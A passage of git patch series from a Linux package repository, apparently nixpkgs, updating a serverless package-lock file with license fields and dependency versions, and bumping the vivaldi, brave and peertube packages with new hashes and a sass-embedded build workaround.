       "integrity": "sha512-hzSUW2q06EqL1gKM/a+obYHLIO6ct2hwPuviqTTOcfFVc61UbfJ2Q32+uGL/HCPxKqrdGB5QUwIe7UqlDgwsOQ==",
+      "license": "MIT",
       "dependencies": {
         "punycode": "1.3.2",
         "querystring": "0.2.0"
@@ -13316,7 +15097,8 @@
     "node_modules/url/node_modules/punycode": {
       "version": "1.3.2",
       "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz",
-      "integrity": "sha512-RofWgt/7fL5wP1Y7fxE7/EmTLzQVnB0ycyibJ0OOHIlJqTNzglYFxVwETOcIoJqJmpDXJ9xImDv+Fq34F/d4Dw=="
+      "integrity": "sha512-RofWgt/7fL5wP1Y7fxE7/EmTLzQVnB0ycyibJ0OOHIlJqTNzglYFxVwETOcIoJqJmpDXJ9xImDv+Fq34F/d4Dw==",
+      "license": "MIT"
     },
     "node_modules/url/node_modules/querystring": {
       "version": "0.2.0",
@@ -13331,6 +15113,7 @@
       "version": "0.12.5",
       "resolved": "https://registry.npmjs.org/util/-/util-0.12.5.tgz",
       "integrity": "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==",
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.3",
         "is-arguments": "^1.0.4",
@@ -13342,7 +15125,8 @@
     "node_modules/util-deprecate": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
-      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+      "license": "MIT"
     },
     "node_modules/uuid": {
       "version": "9.0.1",
@@ -13352,6 +15136,7 @@
         "https://github.com/sponsors/broofa",
         "https://github.com/sponsors/ctavan"
       ],
+      "license": "MIT",
       "bin": {
         "uuid": "dist/bin/uuid"
       }
@@ -13361,6 +15146,7 @@
       "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
       "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "spdx-correct": "^3.0.0",
         "spdx-expression-parse": "^3.0.0"
@@ -13370,6 +15156,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/validate-npm-package-name/-/validate-npm-package-name-3.0.0.tgz",
       "integrity": "sha512-M6w37eVCMMouJ9V/sdPGnC5H4uDr73/+xdq0FBLO3TFFX1+7wiUY6Es328NN+y43tmY+doUdN9g9J21vqB7iLw==",
+      "license": "ISC",
       "dependencies": {
         "builtins": "^1.0.3"
       }
@@ -13382,6 +15169,7 @@
       "engines": [
         "node >=0.6.0"
       ],
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "^1.0.0",
         "core-util-is": "1.0.2",
@@ -13392,6 +15180,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz",
       "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==",
+      "license": "MIT",
       "dependencies": {
         "defaults": "^1.0.3"
       }
@@ -13399,12 +15188,14 @@
     "node_modules/webidl-conversions": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
-      "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="
+      "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==",
+      "license": "BSD-2-Clause"
     },
     "node_modules/whatwg-url": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
       "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==",
+      "license": "MIT",
       "dependencies": {
         "tr46": "~0.0.3",
         "webidl-conversions": "^3.0.0"
@@ -13414,6 +15205,7 @@
       "version": "1.3.1",
       "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
       "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -13422,16 +15214,70 @@
       }
     },
     "node_modules/which-boxed-primitive": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz",
-      "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==",
-      "dev": true,
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz",
+      "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==",
+      "license": "MIT",
       "dependencies": {
-        "is-bigint": "^1.0.1",
-        "is-boolean-object": "^1.1.0",
-        "is-number-object": "^1.0.4",
-        "is-string": "^1.0.5",
-        "is-symbol": "^1.0.3"
+        "is-bigint": "^1.1.0",
+        "is-boolean-object": "^1.2.1",
+        "is-number-object": "^1.1.1",
+        "is-string": "^1.1.1",
+        "is-symbol": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/which-builtin-type": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz",
+      "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "function.prototype.name": "^1.1.6",
+        "has-tostringtag": "^1.0.2",
+        "is-async-function": "^2.0.0",
+        "is-date-object": "^1.1.0",
+        "is-finalizationregistry": "^1.1.0",
+        "is-generator-function": "^1.0.10",
+        "is-regex": "^1.2.1",
+        "is-weakref": "^1.0.2",
+        "isarray": "^2.0.5",
+        "which-boxed-primitive": "^1.1.0",
+        "which-collection": "^1.0.2",
+        "which-typed-array": "^1.1.16"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/which-builtin-type/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "license": "MIT"
+    },
+    "node_modules/which-collection": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz",
+      "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==",
+      "license": "MIT",
+      "dependencies": {
+        "is-map": "^2.0.3",
+        "is-set": "^2.0.3",
+        "is-weakmap": "^2.0.2",
+        "is-weakset": "^2.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -13441,27 +15287,32 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz",
       "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/which-pm-runs": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/which-pm-runs/-/which-pm-runs-1.1.0.tgz",
       "integrity": "sha512-n1brCuqClxfFfq/Rb0ICg9giSZqCS+pLtccdag6C2HyufBrh3fBOiy9nb6ggRMvWOVH5GrdJskj5iGTZNxd7SA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/which-typed-array": {
-      "version": "1.1.13",
-      "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.13.tgz",
-      "integrity": "sha512-P5Nra0qjSncduVPEAr7xhoF5guty49ArDTwzJ/yNuPIbZppyRxFQsRCWrocxIY+CnMVG+qfbU2FmDKyvSGClow==",
+      "version": "1.1.19",
+      "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz",
+      "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==",
+      "license": "MIT",
       "dependencies": {
-        "available-typed-arrays": "^1.0.5",
-        "call-bind": "^1.0.4",
-        "for-each": "^0.3.3",
-        "gopd": "^1.0.1",
-        "has-tostringtag": "^1.0.0"
+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "for-each": "^0.3.5",
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -13470,22 +15321,35 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/word-wrap": {
+      "version": "1.2.5",
+      "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",
+      "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
     "node_modules/wordwrap": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz",
       "integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/workerpool": {
       "version": "6.2.0",
       "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.2.0.tgz",
       "integrity": "sha512-Rsk5qQHJ9eowMH28Jwhe8HEbmdYDX4lwoMWshiCXugjtHqMD9ZbiqSDLxcsfdqsETPzVUtX5s1Z5kStiIM6l4A==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/wrap-ansi": {
       "version": "6.2.0",
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
       "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.0.0",
         "string-width": "^4.1.0",
@@ -13498,12 +15362,14 @@
     "node_modules/wrappy": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
-      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+      "license": "ISC"
     },
     "node_modules/write-file-atomic": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-4.0.2.tgz",
       "integrity": "sha512-7KxauUdBmSdWnmpaGFg+ppNjKF8uNLry8LyzjauQDOVONfFLNKrKvQOxZ/VuTIcS/gge/YNahf5RIIQWTSarlg==",
+      "license": "ISC",
       "dependencies": {
         "imurmurhash": "^0.1.4",
         "signal-exit": "^3.0.7"
@@ -13513,9 +15379,10 @@
       }
     },
     "node_modules/ws": {
-      "version": "7.5.9",
-      "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz",
-      "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==",
+      "version": "7.5.10",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.10.tgz",
+      "integrity": "sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=8.3.0"
       },
@@ -13537,6 +15404,7 @@
       "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.4.23.tgz",
       "integrity": "sha512-ySPiMjM0+pLDftHgXY4By0uswI3SPKLDw/i3UXbnO8M/p28zqexCUoPmQFrYD+/1BzhGJSs2i1ERWKJAtiLrug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "sax": ">=0.6.0",
         "xmlbuilder": "~11.0.0"
@@ -13549,6 +15417,7 @@
       "version": "11.0.1",
       "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz",
       "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==",
+      "license": "MIT",
       "engines": {
         "node": ">=4.0"
       }
@@ -13557,6 +15426,7 @@
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
       "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.4"
       }
@@ -13566,6 +15436,7 @@
       "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
       "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": ">=10"
       }
@@ -13573,13 +15444,15 @@
     "node_modules/yallist": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+      "license": "ISC"
     },
     "node_modules/yaml": {
       "version": "1.10.2",
       "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
       "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": ">= 6"
       }
@@ -13587,12 +15460,14 @@
     "node_modules/yaml-ast-parser": {
       "version": "0.0.43",
       "resolved": "https://registry.npmjs.org/yaml-ast-parser/-/yaml-ast-parser-0.0.43.tgz",
-      "integrity": "sha512-2PTINUwsRqSd+s8XxKaJWQlUuEMHJQyEuh2edBbW8KNJz0SJPwUSD2zRWqezFEdN7IzAgeuYHFUCF7o8zRdZ0A=="
+      "integrity": "sha512-2PTINUwsRqSd+s8XxKaJWQlUuEMHJQyEuh2edBbW8KNJz0SJPwUSD2zRWqezFEdN7IzAgeuYHFUCF7o8zRdZ0A==",
+      "license": "Apache-2.0"
     },
     "node_modules/yamljs": {
       "version": "0.3.0",
       "resolved": "https://registry.npmjs.org/yamljs/-/yamljs-0.3.0.tgz",
       "integrity": "sha512-C/FsVVhht4iPQYXOInoxUM/1ELSf9EsgKH34FofQOp6hwCPrW4vG4w5++TED3xRUo8gD7l0P1J1dLlDYzODsTQ==",
+      "license": "MIT",
       "dependencies": {
         "argparse": "^1.0.7",
         "glob": "^7.0.5"
@@ -13606,6 +15481,7 @@
       "version": "1.0.10",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+      "license": "MIT",
       "dependencies": {
         "sprintf-js": "~1.0.2"
       }
@@ -13615,6 +15491,7 @@
       "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
       "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cliui": "^7.0.2",
         "escalade": "^3.1.1",
@@ -13633,6 +15510,7 @@
       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
       "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": ">=10"
       }
@@ -13642,6 +15520,7 @@
       "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz",
       "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "camelcase": "^6.0.0",
         "decamelize": "^4.0.0",
@@ -13657,6 +15536,7 @@
       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
       "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -13669,6 +15549,7 @@
       "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz",
       "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -13681,6 +15562,7 @@
       "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz",
       "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -13690,6 +15572,7 @@
       "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
       "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": "6.* || 8.* || >= 10.*"
       }
@@ -13698,6 +15581,7 @@
       "version": "2.10.0",
       "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz",
       "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==",
+      "license": "MIT",
       "dependencies": {
         "buffer-crc32": "~0.2.3",
         "fd-slicer": "~1.1.0"
@@ -13708,6 +15592,7 @@
       "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
       "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -13719,6 +15604,7 @@
       "version": "4.1.1",
       "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-4.1.1.tgz",
       "integrity": "sha512-9qv4rlDiopXg4E69k+vMHjNN63YFMe9sZMrdlvKnCjlCRWeCBswPPMPUfx+ipsAWq1LXHe70RcbaHdJJpS6hyQ==",
+      "license": "MIT",
       "dependencies": {
         "archiver-utils": "^3.0.4",
         "compress-commons": "^4.1.2",
@@ -13732,6 +15618,7 @@
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-3.0.4.tgz",
       "integrity": "sha512-KVgf4XQVrTjhyWmx6cte4RxonPLR9onExufI1jhvw/MQ4BB6IsZD5gT8Lq+u/+pRkWna/6JoHpiQioaqFP5Rzw==",
+      "license": "MIT",
       "dependencies": {
         "glob": "^7.2.3",
         "graceful-fs": "^4.2.0",
diff --git a/pkgs/by-name/se/serverless/package.nix b/pkgs/by-name/se/serverless/package.nix
index 315a027bc730..cbd5887343a5 100644
--- a/pkgs/by-name/se/serverless/package.nix
+++ b/pkgs/by-name/se/serverless/package.nix
@@ -19,7 +19,7 @@ buildNpmPackage rec {
     cp ${./package-lock.json} ./package-lock.json
   '';
 
-  npmDepsHash = "sha256-Vy3GQelssTqsGsvZqIdctsPlxZQkqrhN0p6AY1T2L/k=";
+  npmDepsHash = "sha256-k5/oTINK/G+wtuANAEDTai2mDNPYvsocUokIswuYrRM=";
 
   dontNpmBuild = true;
 

From fce78260f1abc72be8577154ac159688475ddadf Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 9 Jul 2025 17:36:58 +0000
Subject: [PATCH 2224/4511] vivaldi: 7.4.3684.55 -> 7.5.3735.47

(cherry picked from commit 71706038e16675bdd11119197bf71e675c9a1ef9)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index f94d6b5e68ee..a33bc84c3588 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.4.3684.55";
+  version = "7.5.3735.47";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-nZGVmAtEBFm3+ELvR8/7TQl/WhnfPLDSKqrhSbwdsSA=";
-        x86_64-linux = "sha256-cXEpFa42Lq7BhZM2H7CwfJKJTzkhQfCQ0i4dbPRfdg8=";
+        aarch64-linux = "sha256-zkVGgQNZSu3Th8Se9uvj8OERwDxWG3m6+zz9Hv4TGIc=";
+        x86_64-linux = "sha256-uKHv4OEDZkbiGwEyYBl0/4ni2WmBz9NC/oKmYyiJgJ0=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From cdd196a791ca53dfe1cfe2250ef2d6cc7ffeb448 Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Wed, 9 Jul 2025 13:01:03 -0400
Subject: [PATCH 2225/4511] brave: 1.80.115 -> 1.80.120

https://community.brave.com/t/release-channel-1-80-120/631629
(cherry picked from commit e2f6617d766b89b5824c898b6e50e5637c3c2c61)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index 415aa7ca15c8..7f58686cac47 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.80.115";
+  version = "1.80.120";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-Fg3zcl9loAypW3ca2ffBxi8+NQ09kdIFIXsEteGsoSs=";
+      hash = "sha256-BicdZFFU8MmBpkl6F0tf0aR0t4dfEI8QQS/gCBlye8w=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-Cf7My5mTkiZh5xMTinhmKnHPJWMX5QfijO7bEV6h6rU=";
+      hash = "sha256-RgJK9Q60hTBcxaA2B0UuwJrDtw1zqXnm/IZKiu1XcZg=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-eEcRA7W+eUSg5+LXgTvs85VNIx+0ldCGRJCT3I6EgaI=";
+      hash = "sha256-gUuLnZU6JlvH7IQMhwSc947ybXls6GoCvVXo630qaxY=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-beFYyTS2GbJloYsJQISKDhF/zgXHPBetfJt1t2EzFfE=";
+      hash = "sha256-1mQow2Bqit6uINEc2SysiXJfx9lNYyT2evb7aZB6Un4=";
     };
   };
 

From 1f3df8977fa13997626d25442643a7d85f28ebdc Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Thu, 10 Apr 2025 13:34:09 +0200
Subject: [PATCH 2226/4511] peertube: 7.0.1 -> 7.1.1

(cherry picked from commit 086de34bbd3180ba72c2e4a8f1db1235f187fc98)
---
 pkgs/by-name/pe/peertube/package.nix | 30 +++++++++++++++++++++++-----
 1 file changed, 25 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/pe/peertube/package.nix b/pkgs/by-name/pe/peertube/package.nix
index c80bc03c2ef6..b02f3e746531 100644
--- a/pkgs/by-name/pe/peertube/package.nix
+++ b/pkgs/by-name/pe/peertube/package.nix
@@ -48,23 +48,23 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "peertube";
-  version = "7.0.1";
+  version = "7.1.1";
 
   src = fetchFromGitHub {
     owner = "Chocobozzz";
     repo = "PeerTube";
     tag = "v${version}";
-    hash = "sha256-DoUSzqb8lrU+s5R95rxCN/5A8sgb11edAhv0T6YACRo=";
+    hash = "sha256-rRga8pR/gfEFyVOkh1xmreM/ZVjiMre316/beCkjJP4=";
   };
 
   yarnOfflineCacheServer = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-WLaIIyz6SEekLFeVO39Swpny5/x5Jc1zoxy/6bmOXTk=";
+    hash = "sha256-Z6ACAkgk0RbcqVIjwKlCEZbZH0CHQU9sixJW73VyYDE=";
   };
 
   yarnOfflineCacheClient = fetchYarnDeps {
     yarnLock = "${src}/client/yarn.lock";
-    hash = "sha256-/ZdORSnwk29ubsgKKB7RfHCetODNOH9DzkflQdDsMz0=";
+    hash = "sha256-fi1fSxL7EbsjQntnDj2S0WLVZWLcP6nLHXpsM0y5HRs=";
   };
 
   yarnOfflineCacheAppsCli = fetchYarnDeps {
@@ -106,6 +106,26 @@ stdenv.mkDerivation rec {
     cd ~/client
     yarn config --offline set yarn-offline-mirror $yarnOfflineCacheClient
     yarn install --offline --frozen-lockfile --ignore-engines --ignore-scripts --no-progress
+
+    substituteInPlace package.json \
+      --replace-fail '"sass-embedded":' '"sass":'
+
+    find node_modules/vite/dist -name "*.js" -type f -exec grep -l "sass-embedded" {} \; | while read file; do
+      echo "Patching $file"
+      sed -i 's/"sass-embedded"/"sass"/g; s/'"'"'sass-embedded'"'"'/'"'"'sass'"'"'/g' "$file"
+    done
+
+    rm -rf node_modules/sass-embedded*
+
+    if [ -L "node_modules/.bin/sass" ]; then
+      rm node_modules/.bin/sass
+      ln -s ../sass/sass.js node_modules/.bin/sass
+    fi
